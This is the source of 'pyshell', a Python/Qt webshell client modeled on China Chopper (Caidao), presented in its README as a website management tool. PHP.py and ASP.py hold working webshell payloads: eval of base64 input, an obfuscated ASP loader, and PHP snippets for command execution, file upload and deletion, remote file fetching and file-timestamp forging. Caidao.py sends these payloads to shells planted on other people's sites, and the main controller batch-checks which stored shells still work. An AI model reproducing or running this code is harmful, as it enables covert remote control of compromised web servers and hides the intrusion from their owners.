├── README.md ├── app.py ├── controller ├── __init__.py └── controller_main.py ├── model ├── cache.py ├── db.py └── shells │ ├── ASP.py │ ├── Caidao.py │ ├── PHP.py │ ├── __init__.py │ ├── encode.py │ └── util.py ├── qqwry.dat ├── requirements.txt ├── shell.db ├── util.py └── view ├── __init__.py ├── add_shell_view.py ├── cmd_ui.py ├── edit_file_ui.py ├── export_shell_ui.py ├── file_ui.py ├── import_shell_ui.py ├── main_view.py ├── self_exec_ui.py └── ui ├── Edit_file.ui ├── ShowEdit_shellManage.ui ├── ShowFileManage.ui ├── ShowcmdManage.ui ├── add_shell_ui.ui ├── export_shell.ui ├── import_shell.ui └── main.ui /README.md: -------------------------------------------------------------------------------- 1 | # pyshell 2 | 3 | 4 | #### 项目介绍 5 | 本项目是使用python和qt5写的一个网站管理工具。qt5的窗口xml文件是来自于开山斧的窗口。本软件可以执行命令,上传文件,网站目录浏览。目前本项目还不完善,只是一个demo展示。未来打算在此基础实现更多的功能,并逐步完善软件的可用性和健壮性。该软件只是一个框架,可以通过很简单的方式移植到web端。 6 | 7 | 8 | 9 | #### FAQ 10 | 11 | 1. 如果打包程序完成后,界面风格变得很奇怪(有点像以前的老XP电脑),这是因为样式表没有复制到程序目录下,在~\Python36\Lib\site-packages\PyQt5\Qt\plugins下复制styles文件夹到打包的程序目录下就可以了。 12 | 13 | 14 | #### 参与贡献 15 | 16 | 1. Fork 本项目 17 | 2. 新建 Feat_xxx 分支 18 | 3. 提交代码 19 | 4. 新建 Pull Request 20 | -------------------------------------------------------------------------------- /app.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | from PyQt5.QtWidgets import QApplication 4 | 5 | from controller import controller_main 6 | from view import main_view 7 | 8 | if __name__ == "__main__": 9 | app = QApplication(sys.argv) 10 | ctrl_main = controller_main() 11 | mywin = main_view(ctrl_main) 12 | mywin.display() 13 | sys.exit(app.exec_()) 14 | -------------------------------------------------------------------------------- /controller/__init__.py: -------------------------------------------------------------------------------- 1 | from .controller_main import controller_main 2 | -------------------------------------------------------------------------------- /controller/controller_main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | # -*- coding: UTF-8 -*- 3 | 4 | import time 5 | 6 | from PyQt5.QtCore import Qt 7 | from PyQt5.QtWidgets import QMenu, QAction, QTableWidgetItem, QMessageBox 8 | 9 | from model.db import db 10 | from util import get_location_from_domain, test_shell, start_runnable 11 | from view.add_shell_view import add_shell_ui_ctrl 12 | from view.cmd_ui import cmd_ui 13 | from view.export_shell_ui import export_shell_ui 14 | from view.file_ui import file_ui 15 | from view.import_shell_ui import import_shell_ui 16 | from view.self_exec_ui import self_exec_ui 17 | 18 | 19 | class controller_main(object): 20 | def __init__(self): 21 | self.db = db() 22 | 23 | def register_main(self, main): 24 | self.cls = main 25 | 26 | def tableWidget_menu(self, p): 27 | self.cls.setContextMenuPolicy(Qt.CustomContextMenu) 28 | self.cls.popMenu = QMenu(self.cls) 29 | int_model = self.cls.tableWidget.selectionModel() # 获取选中编号 30 | sum = len(int_model.selectedRows()) # 获取数量 31 | if sum == 0: # 如果没有选中 只有添加 32 | action = QAction('添加数据', self.cls) 33 | action.triggered.connect(self.add_shell_show) 34 | self.cls.popMenu.addAction(action) 35 | self.cls.popMenu.addSeparator() # 添加分隔 36 | self.cls.name = self.cls.popMenu.addMenu(u'批量导入/导出') 37 | action = QAction('批量导入数据', self.cls) 38 | action.triggered.connect(self.import_shell) 39 | self.cls.name.addAction(action) 40 | action = QAction('批量导出数据', self.cls) 41 | action.triggered.connect(lambda: self.cls.Import_export_ui_show(2)) 42 | self.cls.name.addAction(action) 43 | action = QAction('选择导出数据', self.cls) 44 | action.triggered.connect(lambda: self.cls.while_export_shell()) 45 | self.cls.name.addAction(action) 46 | elif sum == 1: # 如果选中1条 添加 删除 修改 47 | action = QAction('文件管理', self.cls) 48 | action.triggered.connect(self.open_file_shell) 49 | self.cls.popMenu.addAction(action) 50 | # action = QAction(u'数据库管理',self) 51 | # self.popMenu.addAction(action) 52 | action = QAction('虚拟终端', self.cls) 53 | action.triggered.connect(self.open_cmd_shell) 54 | self.cls.popMenu.addAction(action) 55 | action = QAction('自写脚本', self.cls) 56 | action.triggered.connect(self.open_self_exec_ui) 57 | self.cls.popMenu.addAction(action) 58 | 59 | self.cls.popMenu.addSeparator() # 添加分隔 60 | action = QAction('添加数据', self.cls) 61 | action.triggered.connect(self.add_shell_show) 62 | self.cls.popMenu.addAction(action) 63 | action = QAction('修改数据', self.cls) 64 | action.triggered.connect(lambda: self.cls.add_shell_show(2)) 65 | self.cls.popMenu.addAction(action) 66 | action = QAction('删除数据', self.cls) 67 | action.triggered.connect(self.delete_item_from_main_table) 68 | self.cls.popMenu.addAction(action) 69 | self.cls.popMenu.addSeparator() 70 | action = QAction('批量测试状态', self.cls) 71 | action.triggered.connect(self.batch_text) 72 | self.cls.popMenu.addAction(action) 73 | self.cls.name = self.cls.popMenu.addMenu(u'批量导入/导出') 74 | action = QAction('批量导入数据', self.cls) 75 | action.triggered.connect(self.import_shell) 76 | self.cls.name.addAction(action) 77 | action = QAction('批量导出数据', self.cls) 78 | action.triggered.connect(self.export_shell) 79 | self.cls.name.addAction(action) 80 | # action = QAction('选择导出数据', self.cls) 81 | # action.triggered.connect(lambda: self.cls.while_export_shell()) 82 | # self.cls.name.addAction(action) 83 | elif sum > 1: 84 | action = QAction('批量测试状态', self.cls) 85 | action.triggered.connect(self.batch_text) 86 | self.cls.popMenu.addAction(action) 87 | self.cls.popMenu.exec_(self.cls.tableWidget.mapToGlobal(p)) 88 | 89 | def add_shell_show(self): 90 | panel = add_shell_ui_ctrl() 91 | panel.insert.connect(self.insert) 92 | panel.show() 93 | 94 | def insert(self, site_url, site_pass, config, remarks, type_id, script_type, coding_type): 95 | # TODO 动态添加行的方法,需要重构,这只是一个测试 96 | row = self.cls.tableWidget.rowCount() 97 | self.cls.tableWidget.insertRow(row) 98 | id = self.db.insert(script_type, site_url, site_pass, config, remarks, "0", coding_type, 99 | time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()), 100 | time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())) 101 | self.cls.tableWidget.setItem(row, 0, QTableWidgetItem(str(id))) 102 | self.cls.tableWidget.setItem(row, 1, QTableWidgetItem(script_type)) 103 | self.cls.tableWidget.setItem(row, 2, QTableWidgetItem(site_url)) 104 | self.cls.tableWidget.setItem(row, 3, QTableWidgetItem(get_location_from_domain(site_url))) 105 | self.cls.tableWidget.setItem(row, 4, QTableWidgetItem(remarks)) 106 | self.cls.tableWidget.setItem(row, 5, QTableWidgetItem(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))) 107 | self.cls.tableWidget.setItem(row, 6, QTableWidgetItem(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))) 108 | 109 | def delete_item_from_main_table(self): 110 | row = self.cls.ui.tableWidget.selectionModel().currentIndex().row() 111 | id = self.cls.ui.tableWidget.item(row, 0) 112 | self.db.delete(int(id.text())) 113 | self.cls.ui.tableWidget.removeRow(row) 114 | 115 | def closeTab(self, tabId): # 关闭属性页 116 | if tabId >= 1: 117 | self.cls.tabWidget.removeTab(int(tabId)) 118 | 119 | def open_cmd_shell(self): 120 | row = self.cls.ui.tableWidget.selectionModel().currentIndex().row() 121 | id = self.cls.ui.tableWidget.item(row, 0) 122 | cmd_ui(int(id.text()), self.cls).show() 123 | 124 | def open_file_shell(self): 125 | row = self.cls.ui.tableWidget.selectionModel().currentIndex().row() 126 | id = self.cls.ui.tableWidget.item(row, 0) 127 | file_ui(int(id.text()), self.cls).show() 128 | 129 | def open_self_exec_ui(self): 130 | row = self.cls.ui.tableWidget.selectionModel().currentIndex().row() 131 | id = self.cls.ui.tableWidget.item(row, 0) 132 | self_exec_ui(int(id.text()), self.cls).show() 133 | 134 | def batch_text(self): 135 | self.successed = 0 136 | self.failed = 0 137 | self.failed_list = [] 138 | 139 | def result(res): 140 | if res[0]: 141 | self.successed += 1 142 | else: 143 | self.failed += 1 144 | self.failed_list.append(res[1]) 145 | 146 | self.cls.statusBar.showMessage("批量测试中 %s/%s" % (self.successed + self.failed, len(rows.selectedRows())), 147 | 3000) 148 | if self.successed + self.failed >= len(rows.selectedRows()): 149 | QMessageBox.critical(self.cls, 'pyshell', 150 | "批量测试完成,成功%s,失败%s,正在删除失效shell" % (self.successed, self.failed)) 151 | if self.failed_list: 152 | for i in self.failed_list: 153 | id = self.cls.ui.tableWidget.item(i, 0).text() 154 | self.db.delete(int(id)) 155 | self.cls.ui.tableWidget.removeRow(i) 156 | else: 157 | QMessageBox.information(self.cls, 'pyshell', "删除失效shell成功") 158 | 159 | rows = self.cls.ui.tableWidget.selectionModel() 160 | for row in rows.selectedRows(): 161 | id = self.cls.ui.tableWidget.item(row.row(), 0).text() 162 | url = db().get(int(id)).shell 163 | passwd = db().get(int(id)).passwd 164 | start_runnable(test_shell, result, url=url, passwd=passwd, type="php", row=row.row()) 165 | 166 | def tableWidget_right(self, x, y): 167 | self.open_file_shell() 168 | 169 | def import_shell(self): 170 | import_shell_ui(self.cls).show() 171 | 172 | def export_shell(self): 173 | export_shell_ui(self.cls).show() 174 | -------------------------------------------------------------------------------- /model/cache.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF-8 -*- 3 | 4 | # Authors: img 5 | # Date: 2018-07-11 6 | from collections import namedtuple 7 | 8 | __author__ = "img" 9 | __date__ = '2018/7/11' 10 | 11 | import json 12 | from inspect import getfullargspec 13 | 14 | from tinydb import TinyDB, where 15 | from tinydb.middlewares import CachingMiddleware 16 | from tinydb.storages import JSONStorage 17 | 18 | from model.shells import Caidao 19 | 20 | 21 | class cache: 22 | 23 | def __new__(cls, *args, **kwargs): 24 | if not hasattr(cls, "instance"): 25 | cls.instance = super(cache, cls).__new__(cls) 26 | return cls.instance 27 | 28 | def __init__(self): 29 | self.c = TinyDB('cache.json', storage=CachingMiddleware(JSONStorage)) 30 | obj = getattr(self.c, "_storage") # 把这个值设置的比较小,可以让数据随时同步到disk,虽然这个方法有点扯 31 | obj.WRITE_CACHE_SIZE = 1 32 | self.item = namedtuple('item', ("is_dir", 'name', "st_mtime", "size", 'permission')) 33 | 34 | def __call__(self, func): 35 | def inner_func(*args, **kargs): 36 | signature = {**dict(zip(getfullargspec(func).args, args)), **kargs} 37 | obj = signature.get('self', None) 38 | if obj and isinstance(obj, Caidao.Caidao): 39 | signature.update(self=json.dumps((obj.url, obj.password))) 40 | if self.c.contains(where(str(signature)).exists()) and not signature.get('flush', False): 41 | if isinstance(obj, Caidao.Caidao): 42 | result = [] 43 | for i in json.loads(self.c.get(where(str(signature)).exists()).get(str(signature))): 44 | result.append(self.item._make(i)) 45 | else: 46 | result = self.c.get(where(str(signature)).exists()).get(str(signature)) 47 | else: 48 | result = func(*args, **kargs) 49 | if isinstance(obj, Caidao.Caidao): 50 | self.c.insert({str(signature): json.dumps(result)}) 51 | else: 52 | self.c.insert({str(signature): result}) 53 | return result 54 | 55 | return inner_func 56 | 57 | def __del__(self): 58 | self.c.close() 59 | -------------------------------------------------------------------------------- /model/db.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | # -*- coding: UTF-8 -*- 3 | import os 4 | 5 | import records 6 | 7 | 8 | class db(object): 9 | def __new__(cls, *args, **kwargs): 10 | if not hasattr(cls, "instance"): 11 | cls.instance = super(db, cls).__new__(cls) 12 | return cls.instance 13 | 14 | def __init__(self): 15 | self.initialize() 16 | 17 | def initialize(self): 18 | if not os.path.exists("shell.db"): 19 | self.db = records.Database('sqlite:///shell.db', connect_args={'check_same_thread': False}) 20 | self.db.query('DROP TABLE IF EXISTS shell') 21 | self.db.query( 22 | 'CREATE TABLE shell (id INTEGER PRIMARY KEY autoincrement,types text,shell text, passwd text, config text ,remark text, typeid text,coding text,createdtime text,updatetime,text)') 23 | else: 24 | self.db = records.Database('sqlite:///shell.db', connect_args={'check_same_thread': False}) 25 | 26 | def insert(self, types, shell, passwd, config, remark, typeid, coding, createdtime, updatetime): 27 | """ 28 | insert()每个参数的含义(从左到右依次) 29 | types:shell的类型,大写字符串 PHP/ASP/ASPX/CUSTOMER 30 | shell:shell的地址(记得添加http://) 31 | passwd:shell的密码 32 | config:shell的配置,目前留空(空字符串) 33 | remark:shell的备注 34 | type_id:目前为"0" 35 | coding:shell的编码,默认utf-8 36 | createdtime:shell创建日期 字符串类型 time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) 37 | updatetime:shell更新日期,目前暂时和createdtime一致即可 38 | :return: 39 | """ 40 | self.db.query( 41 | 'INSERT INTO shell (types, shell, passwd,config ,remark,typeid,coding,createdtime, updatetime) VALUES(:types,:shell, :passwd,:config,:remark,:typeid,:coding,:createdtime,:updatetime)', 42 | types=types, shell=shell, passwd=passwd, config=config, remark=remark, typeid=typeid, coding=coding, 43 | createdtime=createdtime, updatetime=updatetime) 44 | return \ 45 | self.db.query("select * from shell where createdtime=:createdtime and shell=:shell", 46 | createdtime=createdtime, 47 | shell=shell)[0].id 48 | 49 | def getall(self): 50 | return self.db.query("select * from shell") 51 | 52 | def delete(self, id): 53 | ''' 54 | 55 | :param id: int 56 | :return: 57 | ''' 58 | return self.db.query("delete from shell where id=:id", id=id) 59 | 60 | def get(self, id): 61 | return self.db.query("select * from shell where id=:id", id=id)[0] 62 | -------------------------------------------------------------------------------- /model/shells/ASP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF-8 -*- 3 | 4 | # Authors: img 5 | # Date: 2018-06-01 6 | 7 | __author__ = "img" 8 | __date__ = '2018/6/1' 9 | 10 | encoding = "hex_encode" 11 | is_urlencode = False 12 | LeftDelimiter = ">>>" 13 | RightDelimiter = "<<<" 14 | BASE = '%%u0045%%xec%%ute%%G%%loba%%l%%%%28Replace%%28%%22Fu%%nct%%ion%%20bd%%28by%%V%%al%%20s%%29:Fo%%r%%20i%%%%3D1%%20T%%o%%20Le%%n%%28s%%29%%20S%%te%%p%%202:c%%%%3DM%%id%%28s%%2Ci%%2C2%%29:If%%20Is%%Nu%%meric%%28M%%id%%28s%%2Ci%%2C1%%29%%29%%20T%%hen:bd%%%%3Dbd%%4026%%40c%%hr%%28%%22%%22%%4026%%40H%%22%%22%%4026%%40c%%29:E%%lse:bd%%%%3Dbd%%4026%%40c%%hr%%28%%22%%22%%4026%%40H%%22%%22%%4026%%40c%%4026%%40M%%id%%28s%%2Ci%%2B2%%2C2%%29%%29:i%%%%3Di%%2B2:E%%nd%%20If:Ne%%xt:E%%nd%%20Fu%%nct%%ion:E%%xecu%%te%%%%28bd%%%%28%%22%%224F6E204572726F7220526573756D65204E6578743A526573706F6E73652E57726974652022%s223A%s3A526573706F6E73652E57726974652022%s223A526573706F6E73652E456E64%%22%%22%%29%%%%29%%22%%2C%%22%%4026%%40%%22%%2Cchr%%2838%%29%%29%%29' 15 | SHELL = r"""$m=get_magic_quotes_gpc();$p='%s';$ab='%s';$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$ab}\"":"/c \"{$ab}\"";$r="{$p} {$c}";$array=array(array("pipe","r"),array("pipe","w"),array("pipe","w"));$fp=proc_open($r." 2>&1",$array,$pipes);$ret=stream_get_contents($pipes[1]);proc_close($fp);print """ + """"%s".$ret."%s";""" % ( 16 | LeftDelimiter, RightDelimiter) 17 | BASE_INFO = """$D=dirname(__FILE__);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print "%s".$R."%s";""" % ( 18 | LeftDelimiter, RightDelimiter) 19 | SHOW_FOLDER = """$D='%s';$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.'/'.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."\n";if(@is_dir($P))$M.="T\t".$P.$R;else $L.="F\t".$P.$R;}echo """ + """ "%s".$M.$L."%s";@closedir($F);}""" % ( 20 | LeftDelimiter, RightDelimiter) 21 | READ_FILE = """$F='%s';$P=@fopen($F,'r');echo "{0}";echo(@fread($P,filesize($F)));echo "{1}";@fclose($P);""".format( 22 | LeftDelimiter, RightDelimiter) 23 | UPLOAD_FILE = """$f='%s';$c=$_POST["file"];echo ">>>";echo(@fwrite(fopen($f,'w'),gzuncompress(base64_decode($c)))?'1':'0');echo "<<<";""" 24 | WGET_FILE = """$fR='%s';$fL='%s';$F=@fopen($fR,chr(114));$L=@fopen($fL,chr(119));if($F && $L){while(!feof($F))@fwrite($L,@fgetc($F));@fclose($F);@fclose($L);echo(">>>1<<<");}else{echo(">>>0<<<");}""" 25 | DOWNLOAD_FILE = """$F="%s";$fp=@fopen($F,'r');if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo('ERROR:// Can Not Read');}""" 26 | RENAME = """$src='%s';$dst='%s';echo ">>>";echo rename($src,$dst)?'1':'0';echo "<<<";""" 27 | DELETE = """$F='%s';function df($p){$m=@dir($p);while(@$f=$m->read()){$pf=$p."/".$f;if((is_dir($pf))&&($f!=".")&&($f!="..")){@chmod($pf,0777);df($pf);}if(is_file($pf)){@chmod($pf,0777);@unlink($pf);}}$m->close();@chmod($p,0777);return @rmdir($p);}if(is_dir($F))echo(df($F));else{echo(file_exists($F)?@unlink($F)?">>>1<<<":">>>0<<<":">>>0<<<");}""" 28 | NEW_FOLDER = """$f='%s';echo(mkdir($f)?">>>1<<<":">>>0<<<");""" 29 | SET_TIME = """$FN='%s';$TM=strtotime('%s');if(file_exists($FN)){echo(@touch($FN,$TM,$TM)?'1':'0');}else{echo '0';};""" 30 | -------------------------------------------------------------------------------- /model/shells/Caidao.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF-8 -*- 3 | 4 | # Authors: img 5 | # Date: 2018-05-25 6 | 7 | __author__ = "img" 8 | __date__ = '2018/5/25' 9 | 10 | import re 11 | from collections import namedtuple 12 | from typing import NoReturn 13 | 14 | import requests 15 | 16 | from model.cache import cache 17 | from . import PHP, encode, util 18 | 19 | common_headers = {"Content-Type": "application/x-www-form-urlencoded"} 20 | 21 | class Caidao(): 22 | """ 23 | 本类是webshell操作的核心,这里负责一切webshell操作,例如批量上传等等 24 | 功能如下: 25 | 1 批量上传功能 26 | 2 自动挂链功能 27 | 3 执行命令 28 | 5 定时监测webshell存活 29 | 还有部分功能未完成 30 | """ 31 | 32 | def __init__(self, url, password): 33 | self.url = url 34 | self.password = password 35 | self.types = PHP 36 | self.is_urlencode = self.types.is_urlencode 37 | self.pattern = re.compile("%s(.+)%s" % (self.types.LeftDelimiter, self.types.RightDelimiter), re.DOTALL) 38 | self.__initialize() 39 | 40 | def __initialize(self): 41 | self.__get_base_info() 42 | if self.is_linux: 43 | self.path = r"/bin/sh" 44 | self.separator = r"/" 45 | else: 46 | self.path = r"c:\\Windows\\System32\\cmd.exe" 47 | self.separator = "\\" 48 | 49 | def test_php_connection(self) -> bool: 50 | pass 51 | 52 | def test_asp_connection(self): 53 | pass 54 | 55 | def test_connection(self) -> object: 56 | if self.types == 'PHP': 57 | return self.test_php_connection() 58 | elif self.types == "ASP": 59 | return self.test_asp_connection() 60 | else: 61 | raise TypeError("could't found type, try again") 62 | 63 | # @util.try_except(errors=AttributeError) 64 | def __submit_data(self, data) -> str: 65 | # data = util.dictToQuery(data) if not self.is_urlencode else urlencode(data) 66 | with requests.post(self.url, data=data, timeout=20) as response: 67 | if ">>>ERROR:// Path Not Found Or No Permission!" in response.text: 68 | raise TypeError 69 | re_result = self.pattern.search(response.text) 70 | return re_result.group(1).strip() 71 | 72 | def find_writeable_folder(self): 73 | pass 74 | 75 | # @util.try_except() 76 | def assemble_data(self, statement, func=lambda x: x, **kwargs) -> dict: 77 | data = func(getattr(self.types, statement)) 78 | base = getattr(self.types, "BASE") 79 | encoding = getattr(encode, PHP.encoding) 80 | parameter = "aaa" 81 | result = { 82 | self.password: base % ("$_POST[%s]" % parameter), 83 | parameter: encoding(data) 84 | } 85 | kwargs_copy = kwargs.copy() 86 | return {**result, **kwargs_copy} 87 | 88 | def exec_command(self, cmd) -> str: 89 | data = self.assemble_data("SHELL", lambda x: x % (self.path, cmd)) 90 | return self.__submit_data(data) 91 | 92 | # @util.try_except() 93 | def __get_base_info(self) -> NoReturn: 94 | data = self.assemble_data("BASE_INFO") 95 | result = self.__submit_data(data) 96 | tuple_result = result.split('\t') 97 | self.current_folder = tuple_result[0] 98 | self.info = tuple_result[2] 99 | self.is_linux = True 100 | 101 | # @util.try_except() 102 | @cache() 103 | def get_folder_list(self, folder, flush=False) -> list: 104 | item = namedtuple('item', ("is_dir", 'name', "st_mtime", "size", 'permission')) 105 | data = self.__submit_data(self.assemble_data("SHOW_FOLDER", lambda x: x % folder)) 106 | folder_list = [] 107 | for i in data.split('\n'): 108 | try: 109 | folder_list.append(item._make(i.split('\t'))) 110 | except TypeError: 111 | pass 112 | return folder_list 113 | 114 | # @util.try_except(errors=TypeError) 115 | def read_file(self, item: str) -> str: 116 | data = self.assemble_data("READ_FILE", lambda x: x % item) 117 | return self.__submit_data(data) 118 | 119 | def save_file(self, filename, content) -> str: 120 | content = util.gnucompress(content.encode()) 121 | result = self.__submit_data(self.assemble_data("UPLOAD_FILE", lambda x: x % filename, file=content)) 122 | if result is "1": 123 | return True 124 | else: 125 | raise TypeError 126 | 127 | def new_file(self, filename) -> bool: 128 | content = "" 129 | content = util.gnucompress(content.encode()) 130 | result = self.__submit_data(self.assemble_data("UPLOAD_FILE", lambda x: x % filename, file=content)) 131 | if result is "1": 132 | return True 133 | else: 134 | raise TypeError 135 | 136 | # @util.try_except() 137 | def upload_file(self, remote_file, local_file) -> bool: 138 | ''' 139 | :param remote_file: 上传文件名,不需要绝对路径啦 140 | :param local_file: 141 | :return: 142 | ''' 143 | if self.separator not in remote_file: 144 | folder = self.current_folder + self.separator + remote_file 145 | else: 146 | folder = remote_file 147 | with open(local_file, "rb") as f: 148 | content = util.gnucompress(f.read()) 149 | result = self.__submit_data(self.assemble_data("UPLOAD_FILE", lambda x: x % folder, file=content)) 150 | if result is "1": 151 | return True 152 | else: 153 | raise TypeError 154 | 155 | def wget_file_from_web(self, url, remote_path) -> bool: 156 | # TODO url and remote_path must be verifed before download from url to remote_path 157 | result = self.__submit_data(self.assemble_data("WGET_FILE", lambda x: x % (url, remote_path))) 158 | return True if result is "1" else False 159 | 160 | @util.try_except() 161 | def download_file_from_shell(self, remote_file) -> bool: 162 | # TODO implement download file function.give a remote files and download to local.return true if successed,else return false 163 | pass 164 | 165 | def rename(self, src, dst): 166 | # TODO src and dst must be verifed before used 167 | result = self.__submit_data(self.assemble_data("RENAME", lambda x: x % (src, dst))) 168 | return True if result is "1" else False 169 | 170 | def delete_file(self, remote_path) -> bool: 171 | result = self.__submit_data(self.assemble_data("DELETE", lambda x: x % remote_path)) 172 | if result is "1": 173 | return True 174 | else: 175 | raise TypeError 176 | 177 | @util.try_except() 178 | def new_folder(self, folder_name) -> bool: 179 | result = self.__submit_data(self.assemble_data("NEW_FOLDER", lambda x: x % folder_name)) 180 | if result is "1": 181 | return True 182 | else: 183 | raise TypeError 184 | 185 | @util.try_except() 186 | def set_time(self, remote_file, time) -> bool: 187 | # TODO verifed 188 | result = self.__submit_data(self.assemble_data("SET_TIME", lambda x: x % (remote_file, time 189 | ))) 190 | return True if result is "1" else False 191 | 192 | def raw(self, data: str) -> str: 193 | return self.__submit_data(self.assemble_data("RAW", lambda x: x % data)) 194 | 195 | 196 | if __name__ == '__main__': 197 | a = Caidao("http://localhost:32769/1.php", "cmd") 198 | print(a.get_folder_list(a.current_folder)) 199 | -------------------------------------------------------------------------------- /model/shells/PHP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF-8 -*- 3 | 4 | # Authors: img 5 | # Date: 2018-05-25 6 | 7 | __author__ = "img" 8 | __date__ = '2018/5/25' 9 | 10 | Check = '' 11 | Headers = { 12 | 13 | } 14 | encoding = "base64_encode" 15 | is_urlencode = True 16 | LeftDelimiter = ">>>" 17 | RightDelimiter = "<<<" 18 | BASE = '@eval(base64_decode(%s));' 19 | SHELL = r"""$m=get_magic_quotes_gpc();$p='%s';$ab='%s';$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$ab}\"":"/c \"{$ab}\"";$r="{$p} {$c}";$array=array(array("pipe","r"),array("pipe","w"),array("pipe","w"));$fp=proc_open($r." 2>&1",$array,$pipes);$ret=stream_get_contents($pipes[1]);proc_close($fp);print """ + """"%s".$ret."%s";""" % ( 20 | LeftDelimiter, RightDelimiter) 21 | BASE_INFO = """$D=dirname(__FILE__);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print "%s".$R."%s";""" % ( 22 | LeftDelimiter, RightDelimiter) 23 | SHOW_FOLDER = """echo ">>>";$D='%s';$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.'/'.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."\n";if(@is_dir($P))$M.="T\t".$P.$R;else $L.="F\t".$P.$R;}echo $M.$L;echo "<<<";@closedir($F);}""" 24 | READ_FILE = """$F='%s';$P=@fopen($F,'r');echo "{0}";echo(@fread($P,filesize($F)));echo "{1}";@fclose($P);""".format( 25 | LeftDelimiter, RightDelimiter) 26 | UPLOAD_FILE = """$f='%s';$c=$_POST["file"];echo ">>>";echo(@fwrite(fopen($f,'w'),gzuncompress(base64_decode($c)))?'1':'0');echo "<<<";""" 27 | WGET_FILE = """$fR='%s';$fL='%s';$F=@fopen($fR,chr(114));$L=@fopen($fL,chr(119));if($F && $L){while(!feof($F))@fwrite($L,@fgetc($F));@fclose($F);@fclose($L);echo(">>>1<<<");}else{echo(">>>0<<<");}""" 28 | DOWNLOAD_FILE = """$F="%s";$fp=@fopen($F,'r');if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo('ERROR:// Can Not Read');}""" 29 | RENAME = """$src='%s';$dst='%s';echo ">>>";echo rename($src,$dst)?'1':'0';echo "<<<";""" 30 | DELETE = """$F='%s';function df($p){$m=@dir($p);while(@$f=$m->read()){$pf=$p."/".$f;if((is_dir($pf))&&($f!=".")&&($f!="..")){@chmod($pf,0777);df($pf);}if(is_file($pf)){@chmod($pf,0777);@unlink($pf);}}$m->close();@chmod($p,0777);return @rmdir($p);}if(is_dir($F))echo(df($F));else{echo(file_exists($F)?@unlink($F)?">>>1<<<":">>>0<<<":">>>0<<<");}""" 31 | NEW_FOLDER = """$f='%s';echo(mkdir($f)?">>>1<<<":">>>0<<<");""" 32 | SET_TIME = """$FN='%s';$TM=strtotime('%s');if(file_exists($FN)){echo(@touch($FN,$TM,$TM)?'1':'0');}else{echo '0';};""" 33 | RAW = """echo ">>>";%s;echo "<<<";""" 34 | -------------------------------------------------------------------------------- /model/shells/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF-8 -*- 3 | 4 | # Authors: img 5 | # Date: 2018-06-01 6 | 7 | __author__ = "img" 8 | __date__ = '2018/6/1' -------------------------------------------------------------------------------- /model/shells/encode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF-8 -*- 3 | 4 | # Authors: img 5 | # Date: 2018-05-29 6 | 7 | __author__ = "img" 8 | __date__ = '2018/5/29' 9 | 10 | import base64 11 | import codecs 12 | 13 | 14 | def base64_encode(data: str) -> bytes: 15 | return base64.b64encode(data.encode()) 16 | 17 | 18 | def hex_encode(data: str) -> bytes: 19 | return codecs.encode(data.encode(), "hex") 20 | -------------------------------------------------------------------------------- /model/shells/util.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF-8 -*- 3 | 4 | # Authors: img 5 | # Date: 2018-05-29 6 | 7 | __author__ = "img" 8 | __date__ = '2018/5/29' 9 | 10 | import base64 11 | import contextlib 12 | import logging 13 | import random 14 | import string 15 | import zlib 16 | from http.client import HTTPConnection # py3 17 | 18 | #from IPython.core import ultratb 19 | 20 | 21 | def gnucompress(buf): 22 | return base64.b64encode(zlib.compress(buf)) 23 | 24 | 25 | def random_useragent(): 26 | pass 27 | 28 | 29 | def dictToQuery(dict): 30 | query = '' 31 | for key in dict.keys(): 32 | query += str(key) + '=' + str(dict[key]) + "&" 33 | return query[:len(query) - 1] 34 | 35 | 36 | def try_except(errors=Exception): 37 | def decorate(func): 38 | def wrappers(*args, **kwargs): 39 | # noinspection PyBroadException 40 | try: 41 | return func(*args, **kwargs) 42 | except errors: 43 | # ipshell = ultratb.FormattedTB(mode='Context', color_scheme='LightBG', call_pdb=1) 44 | # ipshell() 45 | print(errors) 46 | 47 | return wrappers 48 | 49 | return decorate 50 | 51 | 52 | def debug_requests_on(): 53 | '''Switches on logging of the requests module.''' 54 | HTTPConnection.debuglevel = 